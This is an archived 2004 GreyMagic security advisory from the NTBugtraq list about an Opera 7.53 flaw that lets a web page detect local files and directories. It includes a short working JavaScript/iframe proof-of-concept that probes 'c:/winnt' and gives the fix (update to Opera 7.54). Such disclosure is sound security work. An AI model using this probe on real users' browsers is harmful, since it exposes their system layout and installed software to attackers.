Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security NTBugtraq
[Top] [All Lists]

Opera Local File/Directory Detection (GM#009-OP)

Subject: Opera Local File/Directory Detection (GM#009-OP)
Date: Tue, 17 Aug 2004 14:50:30 +0200
GreyMagic Security Advisory GM#009-OP
=====================================

By GreyMagic Software, 17 Aug 2004.

Available in HTML format at
http://www.greymagic.com/security/advisories/gm009-op/.

Topic: Opera Local File/Directory Detection.

Discovery date: 04 Aug 2004.

Affected applications:
======================

Opera 7.53 and prior on Windows, Linux and Mac. 


Introduction:
=============

While working on a proof-of-concept exploit for the previous Opera advisory
[1] we needed to find a way to detect the victim's system root directory, in
order to locate a specific resource that's required for exploitation. 

[1] http://www.greymagic.com/security/advisories/gm008-op/


Discussion: 
===========

After a bit of investigation, we found that we can easily determine whether
a directory (or file) exists or not. 

When a non-existent file or directory is assigned to an iframe, an error is
thrown to the user and the actual location of the iframe does not change. 

This situation can easily be detected by an attacker using an accessible
iframe (within the same domain). By changing its URL to the location of a
file or directory and then checking whether an error is thrown when trying
to access its DOM, the attacker can determine whether the resource exists.


Exploit: 
========

The following sample code determines whether the directory "c:/winnt"
exists: 

<iframe src="blank.html"></iframe>
<script type="text/javascript">
onload=function () {
    var sLocal="c:/winnt";
    frames[0].location.href=sLocal;
    setTimeout(
        function () {
            try {
                frames[0].document;
                alert(sLocal+" does not exists.");
            } catch (oErr) {
                alert(sLocal+" exists.");
            }
        },
        250
    );
}
</script>

An attacker is likely to run this against a group of directories in order to
find the right one or determine whether specific programs are installed. 


Demonstration:
==============

Proof-of-concept demonstrations of this issue can be found in our previous
Opera advisory, at http://www.greymagic.com/security/advisories/gm008-op/. 


Solution: 
=========

Update to Opera 7.54.

One of the changes in Opera 7.54 was to completely block access to the
file:// protocol from non-local URLs. That change also happens to protect
against this vulnerability. 


Tested on: 
==========

Opera 7.52.
Opera 7.53.


Disclaimer: 
===========

The information in this advisory and any of its demonstrations is provided
"as is" without warranty of any kind. 

GreyMagic Software is not liable for any direct or indirect damages caused
as a result of using the information or demonstrations provided in any part
of this advisory. 

- Copyright © 2004 GreyMagic Software.

-----
NTBugtraq Editor's Note:

Want to reply to the person who sent this message? This list is configured such 
that just hitting reply is going to result in the message coming to the list, 
not to the individual who sent the message. This was done to help reduce the 
number of Out of Office messages posters received. So if you want to send a 
reply just to the poster, you'll have to copy their email address out of the 
message and place it in your TO: field.
-----

<Prev in Thread] Current Thread [Next in Thread>
  • Opera Local File/Directory Detection (GM#009-OP), GreyMagic Software <=